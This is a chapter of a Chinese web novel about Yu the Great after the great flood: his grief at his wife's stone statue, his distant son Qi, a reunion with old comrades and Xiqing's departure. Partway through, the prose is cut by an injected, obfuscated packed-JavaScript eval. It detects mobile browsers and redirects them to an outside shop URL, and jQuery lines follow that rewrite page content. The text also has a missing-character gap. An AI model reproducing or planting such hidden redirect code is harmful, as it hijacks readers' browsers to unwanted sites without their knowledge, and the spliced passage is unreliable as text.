舜称帝第六年,亦是禹总理水土、平定天下洪患后的第一年。自十三年前承父志、拜司空以来,禹已将人生最富壮年的岁月,尽数倾注于那场席卷九州、绵延万里的浩大征途之中。如今,水归其道,泽渚成□□虐的龙蛇蛟蜃或伏诛或远遁,曾经哀鸿遍野的大地,终于迎来了久违的、带着泥土芬芳的宁静。
然而,这份宁静于禹而言,却浸透着难以言喻的沉重。不周山一役,代价太过惨烈。他周身经络脏腑所受的创伤,远非寻常药石所能速愈,需以自身浑厚的生命元气温养,徐徐图之。自返回阳城后,他大多时间便居于简朴的居所内,静坐调息,感受着体内那新生的、微弱却坚韧的生机,与无处不在的隐痛交织。
舜帝仁厚,曾数次遣心腹重臣前来阳城探望,带来珍稀的疗伤药物,更向他细细述说天下景象:昔日洪水泛滥之处,如今阡陌纵横,稼穑初兴;曾经流离失所的部族,已在故土或新辟的家园重建屋舍,炊烟再起;往来商旅,传颂着司空禹导江疏河、平定共工的伟绩,其名望之盛,几与帝舜比肩。
听着这些,禹的脸上并无多少喜色,只有一片深沉的平静,间或掠过一丝难以捕捉的哀恸。名满天下?这煌煌功业的基石,是岳盾与三十岳卫锐士在共工疯狂反扑下化作的飞灰;是砺为他挡下致命一击时喷洒的热血;是巫盼燃烧灵魂、手持玉简冲向怨念核心时决绝的背影;是无数连姓名都未曾留下的雍梁子弟、三苗勇士、及各部族民夫,倒在了从云梦到会稽,从不周山到天下各处的治水路上。这沉甸甸的“名望”,是由太多的牺牲铸就。
更有一份难以言说的疏离,来自家庭。启,他的儿子,如今已过十岁,从一个懵懂幼童长成了半大少年。禹治水十三载,与儿子相聚的时日屈指可数。启自幼由禹的伯父伯母抚养,对于这位突然归来、周身带着伤患与传奇色彩、被天下人尊称为“司空”的父亲,他感到的更多是陌生与敬畏,而非孺慕之情。
这一日,阳光透过窗棂,洒在禹略显苍白的脸上。他看着正在院中按照伯益所授礼仪,一丝不苟练习步法的启,那小小的身影努力模仿着成人的庄重,却掩不住孩童的僵硬。禹心中微涩,招手唤他过来。
启迟疑了一下,还是依言走近,垂手而立,小声唤了句:“父亲。”
禹想伸手摸摸他的头,如同寻常父亲那般,却发现自己的手掌因常年持握耒耜斧凿而布满厚茧,动作也因伤势而略显滞涩。他最终只是温和地问道:“启儿,近日在读什么?可有习练武艺?”
“回父亲,伯益大人教授《虞典》,讲述帝舜德政。武艺……鸣镝叔叔偶尔指点。”启的回答规规矩矩,却带着明显的距离感。
禹暗下决心,待伤势再好些,定要多花时间陪伴儿子,学习如何做一个真正的父亲,将那些未能给予的陪伴,尽力弥补。
又休养了一段时日后,禹感觉身体稍有好转,便决定带启去一个地方——轘辕山。那里,安葬着他的妻子,启的母亲,女娇。
轘辕山依旧山高林密,伊洛水在山脚下静静流淌。禹的伤势未愈,攀登颇为吃力,每一步都牵动着内腑的隐痛。启默默地跟在父亲身后,看着父亲额角渗出的细汗,看着他时而驻足喘息,却始终向着山顶坚定前行。
终于,在一片面向东方、可俯瞰伊洛交汇处的平缓坡地上,他们来到了一座特殊的"墓"前。这里没有坟冢,只有一尊人形的石像静静伫立。石像的面容已有些模糊,却仍能看出女子生前的轮廓,她微微前倾的身姿仿佛仍在眺望,等待着什么。石像周围,生长着女娇生前最爱的萱草,在微风中轻轻摇曳。
禹站在石像前,呼吸不由得一滞。十三年了。当年他在黄河边偶遇女娇,那明媚的笑容瞬间照亮了他的心。后来,他亲赴涂山求娶,那场盛大的婚礼上,族人们载歌载舞,祝福的歌声至今仍萦绕耳畔:
“南山桐茂,北阪松苍。
新月皎皎,今夕映堂。
兰生幽谷,玉韫山藏。
伊洛汤汤,永誓不忘。
埙谐钟鼓,黍丰稷香。
惟天鉴证,琴瑟共扬。
山无崩裂,川永其疆。
螽斯振羽,瓜瓞绵长。”
谁能想到,这美好的祝愿竟成了永远的遗憾。婚后不久,他便踏上治水征程,长年在外,三过家门而不入。最后一次经过轘辕山时,他化作巨熊开山,却被前来寻夫的女娇撞见。她不知那是丈夫所化,只见熊罴,惊恐万分,在极度的震惊、恐惧与绝望中,竟生生化为了石像。
禹颤抖着手,轻抚石像冰冷的面容。他仿佛还能看见女娇最后那一刻的眼神——难以置信,惊恐,或许还有被"背叛"的痛楚。她至死都不知道,那只“熊罴”正是她日思夜想的夫君。
“女娇……”禹的声音低沉而沙哑,带着穿越漫长岁月的疲惫与无尽的歉疚,“我回来了。水……已经治好了。天下百姓,终于可以……安居乐业了。”
山风拂过,卷起几片落叶,在石像脚边打着旋。萱草轻轻摇曳,仿佛在无声地回应。
他平定了天下的洪水,让万千黎庶得以安居,却永远失去了向挚爱解释的机会,永远失去了那个会在灯下温柔等待他的妻子。这份煌煌功业背后,是他永远无法弥补的遗憾与伤痛。泪水终于不受控制地滑过他饱经风霜的脸颊,滴落在冰冷的石像上。
启站在一旁,看着父亲颤抖的肩膀,看着这尊被称为“母亲”的石像。他悄悄上前,小手紧紧握住了父亲布满厚茧的大手。
掌心的温热让禹从悲恸中惊醒。他低头看着儿子,看着那双与女娇神似的眼睛,百感交集。他用力回握住儿子的小手,仿佛握住了逝去时光里残留的一点暖意,也握住了未来的一份责任。
回到阳城后,禹那原本寂静的居所,因故人们的陆续到来而重现生机。这日午后,伯益最先登门。这位昔日的得力助手眉宇间添了几分沉稳,少了几许旧日郁结。帝舜为彰其襄赞治水之大功,特赐姓“嬴”,并将姚姓宗女许配于他,此乃极显赫之荣宠。
“伯益,闻此佳讯,欣慰之至。”禹执其手,言辞恳切,“嬴姓贵重,姚女贤良,你终得佳偶,实乃天合。”
伯益面上掠过一丝赧然,欣喜中又杂着一缕难以言说的怅惘。他不由得想起了凤鸟——那位永远留在了漯水之畔,明媚如朝霞却倏然凋零的姑娘。那段无果的情愫,已随滔滔洪水东逝,沉淀为心底一道温柔而永恒的旧痕。
正叙话间,院门外响起阿牛那洪亮熟悉的嗓音:“司空!” 话音未落,便见他与芦花二人风尘仆仆地踏入院中。阿牛依旧是那副敦实模样,咧嘴笑着,露出一口白牙;芦花则精悍依旧,眼神灵动。他们显是刚从某处收尾工程赶来。
听闻伯益喜事,阿牛立刻憨笑着凑上前:“伯益!啥时候请俺们喝这碗喜酒啊?定要好好热闹一番!那位姚姑娘,必是瞧上了你的满腹才学!”
芦花也挤挤眼,接口打趣:“正是!伯益如今是帝舜眼前的红人,又得此良缘,可比咱们这些只会抢锤开山的强多啦!不过成了家,可莫忘了咱们这些一同啃干粮、睡野地的老伙计!”
众人皆善意地笑了起来。伯益被这番话说得面颊微红,连连摆手:“莫要取笑,益……益只是恪尽本分罢了。” 然其眼底深处,对过往的追忆与对未来的期许悄然交织。
禹笑着拍了拍阿牛结实的臂膀,关切问道:“你二人怎得空前来?”
“嗨!一听闻司空回阳城养伤,俺们将手头最后那点清淤疏导的活计安排妥当,便日夜兼程赶来了!”阿牛激动之下,习惯性地想捶禹的肩膀,猛然想起其伤势,慌忙收手,只余满眼兴奋,“可算见着了!这回……这回可是真真正正的太平了!”
芦花亦兴奋补充:“司空有所不知,如今咱们当年走过、治过的地方,好多都已成沃野良田!百姓们提起司空,没有不感激的!”
谈笑间,皋陶、弃、鸣镝、辛夷及飞猿亦相继而至。小小院落,一时济济一堂,充满了故人重逢的感慨与唏嘘。皋陶持重如昔,弃温和仁厚,鸣镝锋芒内敛更显精干,飞猿静立其侧,目光敏锐。辛夷与禹目光相接,轻轻颔首,眼中有关切,亦有无需言说的、对巫盼的共同追思。
这番久违的热闹,却如投入静湖的石子,在禹心中漾开层层涟漪。他的目光掠过眼前一张张熟悉的面容,仿佛霎时穿透了十三载光阴,回到了初拜司空、走出蒲阪宫的那一日。
彼时,他、砺、羲青,三双手紧紧交叠,誓言铮铮在耳:
“前路艰险。”
“生死与共!”
“同心协力!”
砺那爽朗的笑声,肩头那带着兄弟情谊的一拳,羲青清丽面庞上温暖而坚定的笑容……往日情景,历历在目。
而如今,砺已永眠于不周山那片冰冷破碎之地,与他同行的,还有那几乎全员战殁的岳卫锐士,众多雍梁子弟,以及智慧深邃、最终与玉简同焚的巫盼。
阿牛看着院中众人,憨厚的脸上笑容更盛,他环顾四周,习惯性地问道:“司空,青儿、砺哥和巫盼呢?可是在屋内商议要事?还有岳率,他那面大盾往那一杵,可就安稳了!”
他话音落下,院中的气氛瞬间凝滞。
皋陶、弃等人沉默地垂下了目光。鸣镝握紧了拳。辛夷的眼中迅速盈满了泪水,别过头去。
禹脸上的肌肉微微抽动了一下,他深吸一口气,仿佛要压下胸腔间翻涌的酸楚,声音低沉得几乎听不见:“阿牛……,青儿在屋里刻书呢。砺,岳盾,巫盼……他们……都留在不周山了。”
阿牛脸上的笑容瞬间僵住,瞪大了眼睛,似乎无法理解这句话的含义。芦花也愣住了。
“留……留在不周山?”阿牛讷讷地重复着,猛地反应过来,脸色霎时变得惨白,“不……不周山?你是说……他们……他们……”这个憨直的汉子,一时间无法接受这残酷的事实,巨大的悲痛让他魁梧的身躯都晃了晃。
沉重的悲伤,如同无形的阴云,笼罩了整个院落。那些逝去的、鲜活的面容,在每个人心中清晰地浮现。
良久,禹率先打破了这令人窒息的沉默。他走到阿牛和芦花面前,用力拍了拍他们的肩膀,声音带着伤后初愈的沙哑,却有一种沉淀了岁月与血火的力量:
“抬起头来。”
阿牛和芦花红着眼眶,望向禹。
“砺、岳盾、巫盼……还有所有牺牲的将士,”禹的目光缓缓扫过院中每一个人,也包括也包括默默合上《苍生鉴》、眼中含泪的羲青,“他们并非白白牺牲。他们用生命守护的,是这条终于归于平静的江河,是天下万千得以安居的黎庶,是一个……不再被洪水与怨恨吞噬的未来。”
他的声音逐渐提高,带着一种不容置疑的坚定:“他们的名字,或许不会尽数载于史册,但他们的功绩,已融入这九州山河,随着每一道水流,灌溉四方;他们的精神,已烙印在我等心中,随着每一次呼吸,传承后世!”
“这,便是我们一路走来,付出所有,所要换取的——功泽千秋!”
“活着的人,当背负着逝者的遗志,更好地活下去,守护好这来之不易的太平!”
羲青听着禹的话,泪水无声滑落,但她紧紧咬着下唇,用力点了点头。辛夷也擦去了眼泪,目光重新变得坚定。皋陶、弃、伯益等人,皆肃然动容。
阿牛用袖子狠狠抹了把脸,瓮声瓮气地道:“司空……俺……俺明白了!俺和阿花,以后就守着这太平日子,谁要是敢破坏,俺第一个不答应!”
芦花也重重点头。
羲青正独自坐于屋内,凝视着面前的石桌上的一只敞口陶瓮。在这只陶瓮里,装
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705156|189169||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着一部《禹贡:苍生鉴》——上万片经烈火灼烤的牛肩胛骨被麻绳编联成六卷,此刻正严整地收在陶瓮中。不周山之战后,羲青也寄住禹的住所养伤,同时修订此书。此书不仅尽载九州山川地理、水系脉络、物产风俗,更详录治水方略、工程纪要,乃至一路民生百态、神话传说、部族变迁,堪称包罗万象。她参与治水,既为完成父亲羲仲勘破天河水厄的未竟之志,亦为践行自身安定洪水、为苍生立言的本心。砺的离去,是她心中永难愈合的创口。他们虽无世俗婚约之名,却早已生死相许,心意相通。这份刻骨之情,随砺之牺牲,化作了永恒的沉痛与追忆。她缓缓放下刻笔,指尖无意识地抚过腰间那支骨笛。笛身那两个紧紧相系的绳结,仿佛将他们未及言尽的情愫与诺言,永恒封存。
羲青抬手从床榻边取过早已收拾妥当的行囊,顺势往肩上一挎。她在门前驻足片刻,深深吸了一口气,才推开虚掩的房门。
院中的谈笑声戛然而止。所有人的目光都落在她身上,看着她肩上的行囊,看着她怀中的兽骨,顿时明白了什么。
她走到禹面前,郑重地说:“司空,《禹贡·苍生鉴》已成,我已将其收纳于房间的石桌上的陶瓮中。先父遗志,青之夙愿,尽汇于此。”
禹深知其中凝聚了多少心血与跋涉:“青儿,此乃千秋之功。”
暮色不知何时已笼罩庭院,最后的金光为院落镀上庄严的色泽。
暮色渐沉,为院落镀上一层庄严的金色。羲青转向众人,目光一一掠过这些并肩十三载的故人。
她先走到伯益面前,向他祝福道:“伯益,愿你与姚氏琴瑟和鸣,子孙绵延。"
伯益最终只深深一揖。
她又转向阿牛和芦花:“你们也不小啦,洪水已平,是时候成家了。”
阿牛眼圈一红,猛地别过脸去。芦花笑中带泪:“青姑娘,以后……以后要是路过咱们那儿,记得来家里坐坐。”
走到皋陶面前,羲青微微欠身:“士师,后会有期。”
“后会有期。”皋陶还礼道。
经过弃身边时,她轻声道:“农正,百草的婚事,我很欢喜。”
弃温和一笑:“那孩子一直把你当亲姐姐。”
在辛夷面前,羲青停顿得最久。两个同样失去挚爱的女子相视无言,最终只是轻轻握住彼此的手。千言万语,尽在不言中。
最后,她看向鸣镝和飞猿:“保重。”
鸣镝重重点头,飞猿则默默递上一个皮水囊:“路上用。”
羲青环视众人,声音颤抖:“青欲再行治水路,亲睹劫后山海新颜。”
禹凝视她清癯而坚毅的面容,知她去意已决,唯有点头:“天地广阔,自有心安之处。务必……珍重。”
“诸位珍重。”羲青深深望了众人一眼,目光中有不舍,更有决然。她背起行囊,转身离去。
院中一片寂静,唯有晚风拂过新泥的气息,见证着这场没有道别的告别。
禹目送着羲青的身影消失,那渐远的背影仿佛带走了整整一个时代。他默然良久,直到启轻轻拉住他的衣角。
“父亲,”少年仰头问道,“青姨要去哪里?”
这一声询问,让禹的目光重新落回满院故人身上。伯益、皋陶、阿牛、芦花......每一张脸上都刻着十三年的风霜。他轻抚启的头顶,声音低沉却清晰:“她去走我们曾经走过的路,去看我们守护下来的山河。”
晚风拂过庭院,带着泥土与新生的气息。阿牛忍不住开口:“司空,这些年……咱们到底是为了什么?”
禹的目光缓缓扫过众人,最后停在阿牛身上:“你可还记得第一次扛起石耜时的念头?不是为了征服洪水,而是想让田地不再被淹没。”
皋陶微微颔首:“确是如此。治水之道,在于疏导,而非对抗。”
“正是。”禹的声音在暮色中显得格外沉静,“这滔滔洪水教会我们的,从来不是如何战胜自然,而是如何与这片天地共生。”
辛夷轻抚着怀中巫盼留下的玉璧碎片,低声道:“可我们付出的代价……”
“我们失去的,都已化作九州的脊梁。”禹的目光掠过每一张面孔,“砺、岳盾、巫盼……他们守护的,将成为千秋的血脉。”
伯益若有所思:“所以,治水之功……”
“不在我禹,"禹的声音忽然提高,“而在每一个不屈的魂灵!在每一个扛起石耜的农人,每一个疏通沟渠的工匠,每一个在洪水中不曾放弃希望的百姓!”
暮色渐浓,天边现出第一颗星。启仰望着星空,忽然问道:“父亲,以后还会有洪水吗?”
禹将手按在儿子肩上:“洪水或许还会来,但我们已经不同了。”他的声音与晚风融为一体,“十三载跋涉,我们劈开的不只是河道,更是蒙昧与文明的分界;我们疏导的不止是洪水,更是人心中的藩篱。”
鸣镝握紧了手中的弓:“司空是说……”
“从今往后,”禹环视众人,目光如星,“人族当知——命运不在天,不在神,而在这双手,这颗心。”
田野间飘来炊烟的气息,远处隐约传来归家的笑语。这平凡的景象,此刻却仿佛在诉说着最深刻的真理。
阿牛忽然挺直了腰板:“俺明白了!太平日子不是等来的,是咱们一手一手挣来的!”
满院寂然,唯有星河在天际流转。禹望着羲青离去的方向,望着这片他们用血汗守护的土地,轻声道:“你们看——田野间的炊烟,道路上的行旅,孩童的笑语……这些,才是治水的意义。”
夜色中,不知谁家庭院里传来埙声,悠远而安宁。那曲调仿佛在诉说:文明的薪火不熄,守护的征途永续。功泽千秋,不在碑铭,而在每一个沐浴太平的黎明,在生生不息的传承中,成就永恒。